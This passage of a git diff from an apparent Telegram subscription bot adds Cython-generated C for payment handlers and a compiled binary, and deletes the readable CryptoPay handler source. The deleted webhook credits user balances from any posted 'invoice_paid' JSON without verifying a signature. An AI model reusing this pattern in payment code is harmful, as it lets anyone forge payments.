+ } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..b95c534d Binary files /dev/null and b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/cryprobot_pay.py b/handlers/payments/cryprobot_pay.py deleted file mode 100644 index a70d8758..00000000 --- a/handlers/payments/cryprobot_pay.py +++ /dev/null @@ -1,213 +0,0 @@ -from typing import Any - -from aiocryptopay import AioCryptoPay, Networks -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - -if CRYPTO_BOT_ENABLE: - crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_crypto = State() - waiting_for_payment_confirmation_crypto = State() - entering_custom_amount_crypto = State() - - -@router.callback_query(F.data == "pay_cryptobot") -async def process_callback_pay_cryptobot( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - builder = InlineKeyboardBuilder() - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_crypto", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - key_count = await get_key_count(callback_query.message.chat.id) - if key_count == 0: - exists = await check_connection_exists(callback_query.message.chat.id) - if not exists: - await add_connection( - tg_id=callback_query.message.chat.id, - balance=0.0, - trial=0, - session=session, - ) - await callback_query.message.answer( - "Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - await state.set_state(ReplenishBalanceState.choosing_amount_crypto) - - -@router.callback_query(F.data.startswith("crypto_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - await callback_query.message.answer("Неверные данные для выбора суммы.") - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - await callback_query.message.answer("Некорректная сумма.") - return - - await state.update_data(amount=amount) - await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) - - try: - invoice = await crypto.create_invoice( - asset="USDT", - amount=str(int(amount // RUB_TO_USDT)), - description=f"Пополнения баланса на {amount} руб", - payload=f"{callback_query.message.chat.id}:{int(amount)}", - ) - - if hasattr(invoice, "bot_invoice_url"): - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="Пополнить", url=invoice.bot_invoice_url) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=builder.as_markup(), - ) - else: - await callback_query.message.answer("Ошибка при создании платежа.") - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - - -async def cryptobot_webhook(request): - try: - data = await request.json() - logger.info(f"Получены данные вебхука: {data}") - if data.get("update_type") == "invoice_paid": - await process_crypto_payment(data["payload"]) - return web.Response(status=200) - else: - logger.warning( - f"Неподдерживаемый тип обновления: {data.get('update_type')}" - ) - return web.Response(status=400) - except Exception as e: - logger.error(f"Ошибка обработки вебхука: {e}") - return web.Response(status=500) - - -async def process_crypto_payment(payload): - if payload["status"] == "paid": - custom_payload = payload["payload"] - user_id_str, amount_str = custom_payload.split(":") - try: - user_id = int(user_id_str) - amount = int(amount_str) - await add_payment(int(user_id), float(amount), "cryptobot") - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка конвертации user_id или amount: {e}") - else: - logger.warning(f"Получен неоплаченный инвойс: {payload}") - - -@router.callback_query(F.data == "enter_custom_amount_crypto") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_cryptobot")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_crypto) - - -@router.message(ReplenishBalanceState.entering_custom_amount_crypto) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount // RUB_TO_USDT <= 0: - await message.answer( - f"Сумма должна быть больше {RUB_TO_USDT}. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_crypto - ) - try: - invoice = await crypto.create_invoice( - asset="USDT", - amount=str(int(amount // RUB_TO_USDT)), - description=f"Пополнения баланса на {amount} руб", - payload=f"{message.chat.id}:{amount}", - ) - - if hasattr(invoice, "bot_invoice_url"): - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="Пополнить", url=invoice.bot_invoice_url) - ) - builder.row( - InlineKeyboardButton(text="⬅️ Назад", callback_data="pay"), - ) - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=builder.as_markup(), - ) - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") diff --git a/handlers/payments/freekassa_pay.c b/handlers/payments/freekassa_pay.c new file mode 100644 index 00000000..19165418 --- /dev/null +++ b/handlers/payments/freekassa_pay.c @@ -0,0 +1,19381 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.freekassa_pay", + "sources": [ + "handlers/payments/freekassa_pay.py" + ] + }, + "module_name": "handlers.payments.freekassa_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define 